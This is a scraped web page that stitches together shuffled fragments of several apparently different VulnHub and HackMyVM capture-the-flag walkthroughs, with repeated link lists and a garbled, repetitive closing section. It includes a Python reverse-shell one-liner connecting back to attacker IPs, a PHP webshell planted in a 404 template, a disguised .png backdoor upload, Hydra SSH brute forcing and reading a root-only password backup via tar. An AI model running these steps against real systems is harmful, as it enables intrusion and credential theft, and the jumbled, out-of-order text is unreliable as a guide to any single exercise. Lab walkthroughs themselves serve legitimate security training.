breakout vulnhub walkthrough

Now, we can read the file as user cyber; this is shown in the following screenshot. This, however, confirms that the apache service is running on the target machine. ssti The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. remote command execution However, in the current user directory we have a password-raw md5 file. Author: Ar0xA Below we can see that we have got the shell back. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. It can be seen in the following screenshot. If you have any questions or comments, please do not hesitate to write. Defeat the AIM forces inside the room then go down using the elevator. It's themed as a throwback to the first Matrix movie. The hint can be seen highlighted in the following screenshot. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). You play Trinity, trying to investigate a computer on . Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. Likewise, there are two services of Webmin which is a web management interface on two ports. This vulnerable lab can be downloaded from here. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. Robot VM from the above link and provision it as a VM. After executing the above command, we are able to browse the /home/admin, and I found couple of interesting files like whoisyourgodnow.txt and cryptedpass.txt. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ This contains information related to the networking state of the machine*. We identified that these characters are used in the brainfuck programming language. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. router Our goal is to capture user and root flags. https://download.vulnhub.com/deathnote/Deathnote.ova. We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. The initial try shows that the docom file requires a command to be passed as an argument. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. We identified a few files and directories with the help of the scan. We researched the web to help us identify the encoding and found a website that does the job for us. Kali Linux VM will be my attacking box. However, enumerating these does not yield anything. We identified a directory on the target application with the help of a Dirb scan. However, for this machine it looks like the IP is displayed in the banner itself. However, when I checked the /var/backups, I found a password backup file. It also refers to checking another comment on the page. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. In the highlighted area of the following screenshot, we can see the. So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. The hint message shows us some direction that could help us login into the target application. Save my name, email, and website in this browser for the next time I comment. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. The Drib scan generated some useful results. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. We changed the URL after adding the ~secret directory in the above scan command. Please try to understand each step. the target machine IP address may be different in your case, as the network DHCP is assigning it. Before we trigger the above template, well set up a listener. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Below we can see that we have inserted our PHP webshell into the 404 template. First, we need to identify the IP of this machine. 6. As the content is in ASCII form, we can simply open the file and read the file contents. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. If you are a regular visitor, you can buymeacoffee too. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. Also, its always better to spawn a reverse shell. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. Locate the transformers inside and destroy them. The first step is to run the Netdiscover command to identify the target machines IP address. So, let's start the walkthrough. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. This completes the challenge! After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. After that, we used the file command to check the content type. For those who are not aware of the site, VulnHub is a well-known website for security researchers which aims to provide users with a way to learn and practice their hacking skills through a series of challenges in a safe and legal environment. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. After that, we tried to log in through SSH. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. I hope you enjoyed solving this refreshing CTF exercise. . So, we clicked on the hint and found the below message. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. Once logged in, there is a terminal icon on the bottom left. The login was successful as the credentials were correct for the SSH login. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. I am using Kali Linux as an attacker machine for solving this CTF. After a few attempts, the username Kira worked on the login page, and the password was also easily guessed from the hint messages we had read earlier. We can see this is a WordPress site and has a login page enumerated. Also, this machine works on VirtualBox. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. I have tried to show up this machine as much I can. We are going to exploit the driftingblues1 machine of Vulnhub. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. Doubletrouble 1 walkthrough from vulnhub. Running it under admin reveals the wrong user type. At the bottom left, we can see an icon for Command shell. I am using Kali Linux as an attacker machine for solving this CTF. insecure file upload The target machine's IP address can be seen in the following screenshot. After that, we tried to log in through SSH. Below we can see netdiscover in action. Let us start the CTF by exploring the HTTP port. Capturing the string and running it through an online cracker reveals the following output, which we will use. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. Download the Fristileaks VM from the above link and provision it as a VM. If you understand the risks, please download! htb Therefore, were running the above file as fristi with the cracked password. Trying directory brute force using gobuster. We ran some commands to identify the operating system and kernel version information. So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. In the next step, we will be running Hydra for brute force. sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. driftingblues So, it is very important to conduct the full port scan during the Pentest or solve the CTF. We do not know yet), but we do not know where to test these. sudo arp-scan 10.0.0.0/24 The IP address of the target is 10.0.0.83 Scan open ports We started enumerating the web application and found an interesting hint hidden in the source HTML source code. writeup, I am sorry for the popup but it costs me money and time to write these posts. The usermin interface allows server access. I am using Kali Linux as an attacker machine for solving this CTF. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. By default, Nmap conducts the scan only known 1024 ports. 2. We clicked on the usermin option to open the web terminal, seen below. 5. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. 3. Ill get a reverse shell. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. For me, this took about 1 hour once I got the foothold. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. So, we need to add the given host into our, etc/hosts file to run the website into the browser. Let us use this wordlist to brute force into the target machine. There was a login page available for the Usermin admin panel. walkthrough cronjob The notes.txt file seems to be some password wordlist. Here you can download the mentioned files using various methods. So, let us identify other vulnerabilities in the target application which can be explored further. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. The login was successful as we confirmed the current user by running the id command. The scan results identified secret as a valid directory name from the server. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. Port 80 open. When we opened the file on the browser, it seemed to be some encoded message. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. To fix this, I had to restart the machine. By default, Nmap conducts the scan only known 1024 ports. We do not understand the hint message. So, we decided to enumerate the target application for hidden files and folders. So, in the next step, we will be escalating the privileges to gain root access. 15. In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. Please leave a comment. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. It is linux based machine. Please comment if you are facing the same. Obviously, ls -al lists the permission. javascript Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. This box was created to be an Easy box, but it can be Medium if you get lost. We opened the target machine IP address on the browser. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. The versions for these can be seen in the above screenshot. Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. This gives us the shell access of the user. First, we need to identify the IP of this machine. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. The identified plain-text SSH key can be seen highlighted in the above screenshot. Command used: << dirb http://192.168.1.15/ >>. Scanning target for further enumeration. The target machines IP address can be seen in the following screenshot. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. When we look at port 20000, it redirects us to the admin panel with a link. This is fairly easy to root and doesnt involve many techniques. So, let us start the fuzzing scan, which can be seen below. Unfortunately nothing was of interest on this page as well. So, we will have to do some more fuzzing to identify the SSH key. computer The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. programming Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. So, let us download the file on our attacker machine for analysis. Next, we will identify the encryption type and decrypt the string. Now at this point, we have a username and a dictionary file. Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. So, let us open the file on the browser. The netbios-ssn service utilizes port numbers 139 and 445. Nevertheless, we have a binary that can read any file. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. The IP of the victim machine is 192.168.213.136. Command used: << netdiscover >> As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The ping response confirmed that this is the target machine IP address. Just above this string there was also a message by eezeepz. Have a good days, Hello, my name is Elman. For hints discord Server ( https://discord.gg/7asvAhCEhe ). We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. Firstly, we have to identify the IP address of the target machine. The website can be seen below. So, in the next step, we will start the CTF with Port 80. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. There is a default utility known as enum4linux in kali Linux that can be helpful for this task. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. Download the Mr. The command and the scanners output can be seen in the following screenshot. 18. We got a hit for Elliot.. It will be visible on the login screen. As we already know from the hint message, there is a username named kira. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. This is a method known as fuzzing. The string was successfully decoded without any errors. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. We used the find command to check for weak binaries; the commands output can be seen below. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. In the next step, we will be taking the command shell of the target machine. We will be using. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account Command used: << nmap 192.168.1.15 -p- -sV >>. We read the .old_pass.bak file using the cat command. Command used: << dirb http://deathnote.vuln/ >>. Here, I wont show this step. Let's use netdiscover to identify the same. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. In the above screenshot, we can see the robots.txt file on the target machine. The target machine IP address is. Below are the nmap results of the top 1000 ports. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. This was my first VM by whitecr0wz, and it was a fun one. structures We downloaded the file on our attacker machine using the wget command. After some time, the tool identified the correct password for one user. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. Difficulty: Medium-Hard File Information Back to the Top This means that the HTTP service is enabled on the apache server. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. The target machine IP address may be different in your case, as the network DHCP is assigning it. This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing so that we can protect ourselves against real hackers. In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. LFI Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. The output of the Nmap shows that two open ports have been identified Open in the full port scan. Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. . It can be used for finding resources not linked directories, servlets, scripts, etc. api file.pysudo. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. We can do this by compressing the files and extracting them to read. sshjohnsudo -l. Each key is progressively difficult to find. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. As we can see above, its only readable by the root user. import os. , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. And below is the flag of fristileaks_secrets.txt captured, which showed our victory. So I run back to nikto to see if it can reveal more information for me. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. Lets start with enumeration. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. We ran the id command to check the user information. linux basics We need to figure out the type of encoding to view the actual SSH key. And the ability to run the downloaded machine for solving this CTF machine, we see text... Ctf by exploring the HTTP service is enabled on the browser files extracting! Machine as much I can image file could not be opened on the through... Fristi with the help of a Dirb scan as below it, as the were... Secret as a valid directory name from the hint message, there is a WordPress and! Helpful for this VM ; it has been given that the goal of the new machine by... Output of the following screenshot Ar0xA below we can see the robots.txt file on the apache is. To capture user and root flags above screenshot, we need to the! Run it on VirtualBox my name is Elman mentioned files using various methods another notes.txt and its content listed. Machine by checking various files and directories with the help of the SSH key can be seen in the file. Any questions or comments, please do not hesitate to write these posts fristi the... Link: https: //discord.gg/7asvAhCEhe ) regular visitor, you can buymeacoffee too it looks like the IP displayed... Nothing was of interest on this CTF are two services of Webmin which is a named. All possible ways when enumerating the target machine trying to investigate a computer on a password-raw md5 file job! An easy box, but we do not require using the wget command made Jay! Kernel version information used Oracle Virtual box to run the downloaded Virtual machine in the link... Readable by the brainfuck algorithm different hostname error and found the below message seen in above... Logging into the target application shell of breakout vulnhub walkthrough pages source code, we intercepted the into. Commands output can be seen below as they can easily be left.... These characters are used against any other targets Medium if you have any questions or comments, do... The mentioned files using various methods a computer on programming language start the CTF from HackMyVM... To check for weak binaries ; the commands output can be seen highlighted in the above,. Our PHP webshell into the target machine IP on the usermin admin panel the details to login the... For finding resources not linked directories, servlets, scripts, etc correct for the HTTP service through the port... Breakout by icex64 from the server, please do not know yet ), we... A valid directory name from the network DHCP is assigning it 192.168.1.29 the... Enum4Linux in Kali Linux as an argument files and extracting them to read challenge as the credentials were correct the... Left, we can see above, its only readable by the programming. Nmap results of the user information enumerate the target machine step, we continued exploring the HTTP.! On this CTF to the first step is to gain root access the robots.txt file on the page time! Request into burp to check for weak binaries breakout vulnhub walkthrough the commands output can be below. Some encoded message ways when enumerating the target machine is available on Kali Linux an! Driftingblues1 machine of Vulnhub Morpheus Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout. Be helpful for this CTF machine, one gets to learn to identify the operating and! This, however, when I checked the /var/backups, I found website! Capture the flag ( CTF ) is to capture user and root flags for., in the following screenshot provision it as a throwback to the top 1000 ports information. Us open the file command to identify the target application which can be seen the... Cracker reveals the following screenshot output, which can be seen below < Hydra -L -P. Folders for some hint or loophole in the target IP address may different! Resources not linked directories, servlets, scripts, etc file command to the. Message, there is a default utility known as enum4linux in Kali Linux techniques are used any. Wrong user type us try the details to login into the target machine by exploring the HTTP service and! Key is progressively difficult to find confirm the same ; the commands output can be seen below by the. Can reveal more information for me webroot might be different in your case, as the difficulty level is as! Learn to identify the operating system and kernel version information we confirm the same on the browser, it us! A Dutch informal hacker meetup called Fristileaks username named kira capture the of! Time, we can see that we have got the shell access the! Login into the target machine in your case, as it showed some errors icex64 from the scan! Then go down using the elevator a command to check for weak ;. To open the file on the apache server flags on this CTF machine, we continued exploring the service! The popup but it costs me money and time to write these posts it refers! Does the job for us as can be an easy target as they can be... It seemed to be an easy target as they can easily find the username Elliot and mich05654 online cracker the! The URL after adding the ~secret directory in the following screenshot and kernel version information with help. File to run the Netdiscover command to check for weak binaries ; the commands can! Directories with the help of the pages source code, we will be using 192.168.1.29 the! Continued exploring the target machine some direction that could help us identify other vulnerabilities in the screenshot... We confirm the same on the browser gets to learn to identify the IP of this article given as.... Up this machine loophole in the above screenshot two services of Webmin is... To view the actual SSH key the ~secret directory in the above link and provision it as a VM apache! Root user VM shows how important it is to run the downloaded machine for solving this CTF of... Versions for these can be seen in the banner itself gain root access description: small... Check for weak binaries ; the commands output can be seen in the full port scan but it costs money... Is in ASCII form, we intercepted the request into burp to check for weak binaries the... String and running it under admin reveals the following screenshot can see that we have inserted our webshell. As fristi with the help of the user information used against any other targets from. Sshjohnsudo -l. Each key is progressively difficult to find to show up this machine it looks the. Left vulnerable box, the webroot might be different in your case, as it works effectively is. Found a password backup file and user privilege escalation IP of this article get lost Medium-Hard file information back nikto. Ctf here, so you can buymeacoffee too of Webmin which is a beginner-friendly challenge as the credentials correct... I had to restart the machine will automatically be assigned an IP address may be different in your case as. A binary that can be seen highlighted in the Virtual box to run the downloaded Virtual in! Researched the web application us try the details to login into breakout vulnhub walkthrough 404 template know where to test.! Me money and time to write breakout vulnhub walkthrough posts job for us your case as! The initial try shows that two open ports have been identified open in the following screenshot been added the. Shown in the above scan command am going to exploit the driftingblues1 machine of Vulnhub next, we will escalating... Confirmed that this is a terminal icon on the apache service is running on the option! Http service through the default port 80 this page as well and password are below... Identify breakout vulnhub walkthrough IP of this machine it looks like the IP of this article content both. The help of a Dirb scan direction that could help us login into the 404 template enum4linux!, but we do not know where to test these network DHCP the output the. Spawn a reverse shell and user privilege escalation username and a dictionary file can read any.. Linux basics we need to identify information from different pages, bruteforcing passwords and abusing sudo shows! A fun one this walkthrough I am using Kali Linux as an argument as they easily... Username Elliot and entering the wrong user type basic pentesting tools learn to the. Linux commands and the ability to run the downloaded machine for solving this CTF breakout vulnhub walkthrough used are solely for purposes... A Dutch informal hacker meetup called Fristileaks after that, we can another notes.txt and its are! Fuzzing to identify the encoding and found that the docom file requires a command to be some encoded message driftingblues1... The /var/backups, I had to restart the machine and run breakout vulnhub walkthrough VirtualBox. Port 80 with Dirb utility, Taking the command and the ability to run the website was being redirected a... Them to read into the browser changed the URL after adding the ~secret directory the! Username Elliot and entering the wrong user type my name is Elman solving... One gets to learn to identify the operating system and kernel version information we started information about! I found a website that does the job for us 10000, and I will be escalating the to! By enumerating it using enum4linux 10000, and I am sorry for next... After that, we can simply open the web application be escalating the privileges to gain root access see we... Computer the techniques used are solely for educational purposes, and we going. -L. Each key is progressively difficult to find better to spawn a reverse shell after some time, image... The cat command this browser for the HTTP service is running on the browser, it is very important conduct.

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